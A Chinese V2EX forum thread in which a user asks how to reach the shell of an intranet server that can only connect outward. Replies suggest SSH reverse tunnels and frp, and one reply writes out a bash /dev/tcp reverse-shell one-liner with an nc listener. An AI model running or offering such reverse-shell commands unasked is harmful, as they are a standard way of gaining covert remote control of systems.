有什么方法可以让 ssh 服务端主动暴露自己的 shell 给客户端?

2023-03-16 19:54:38 +08:00
 chackchackGO
就是说让服务端主动连接客户端, 而不是常规的客户端连接到服务端来获取服务端 shell.

因为服务端在内网, 客户端无法主动连接到.

我了解到了 ssh 反向隧道, 但是不知道如何开启出一个 shell.
845 次点击
所在节点    问与答
9 条回复
hdp5252
2023-03-16 20:08:04 +08:00
需要一个有外网 IP 的服务器,把内网服务器的 IP 映射到外网服务器的一个端口,然后应该就能连接了
我以前试过,可以用
dcsuibian
2023-03-16 20:18:55 +08:00
租云服务器用 frp
ssh 的隧道是给其它程序借用的,而你是 ssh 本身就连不上
chackchackGO
2023-03-16 20:47:22 +08:00
我实际情况是 要被暴露 shell 的服务端只有 ssh client 没有 ssh server, 所以我想让服务端用 ssh client 来主动连接客户端.
那看来还是一定要安装 ssh server 了
cxtrinityy
2023-03-16 20:57:30 +08:00
ssh tunnel 就是端口映射,如果你想通过 tunnel 来保证客户端能和服务端建立连接,你可以在服务端调用如下命令:ssh -R 123:localhost:22 你的公网机子的 ip

这样就会将公网机子的 123 端口收到的数据转发到服务端的 22 端口,也就是 ssh 监听的端口,然后客户端 ssh 到公网机子的 123 就会和服务端建立 ssh 连接

还有一个更直接的概念叫 reverse shell ,这就是直接暴露 shell 的方法,原理是客户端监听一个端口,服务端连接该端口并将该端口收到的数据放到 shell 里执行
loveqianool
2023-03-16 20:59:43 +08:00
Web SSH & Telnet
coolloves
2023-03-17 16:10:58 +08:00
客户端 cip 随便开端口
nc -lvp 4444

服务器上执行
bash -i >& /dev/tcp/cip/4444 0>&1

客户端上此时在终端中就可以操作服务端了
chackchackGO
2023-03-17 22:25:48 +08:00
@coolloves 我看懂了一些, 但是您是不是少了几步?
客户端监听了端口
服务端调用了 socket
但是两者还没连接啊, 彼此都还没搞清对方的地址?
coolloves
2023-03-17 23:12:00 +08:00
@chackchackGO 试试不就知道啦.当执行了第二步后,所谓的反向链接,客户端的电脑上就可以执行服务器的命令了,搜下 shell 反弹,自行了解吧.
chackchackGO
2023-03-17 23:16:02 +08:00
@coolloves 笨比了, 没意识到 cip 的意义

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/924637

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX